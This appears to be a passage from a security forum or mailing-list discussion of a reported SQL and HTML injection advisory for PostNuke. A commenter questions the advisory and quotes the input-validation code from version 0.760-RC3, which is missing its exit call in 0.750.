Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string()
and other functions for input
validation before passing user input to the mysql database, or before echoing data
on the screen, would solve these problems.

Well, i have not tested this, so i can't be sure. First look will tell, that those sql injections can be real only, if magic_quotes are off, but to be sure, i must look @ src code. Anyway - if its fake a ka nuked advisory, then let it stays here as example of the informational noise Smile

in 0.760-Rc3 is :

---
if (!defined('LOADED_AS_MODULE')) {
die ("You can't access this file directly...");
}

list ($save, $op, $mode, $order, $thold, $sid, $tid, $pageid) =
pnVarCleanFromInput('save', 'op', 'mode', 'order', 'thold', 'sid', 'tid', 'pageid');

if ((empty($sid) && empty($tid)) ||
(!is_numeric($sid) && !is_numeric($tid))) {
include 'header.php';
echo _MODARGSERROR;
include 'footer.php';
exit;
}
---

but in .750 exit; don't exist and is coming html problem.

If you wont realy sql injection.. wait to PNSA2005-2 and 0.760RC4 ;]
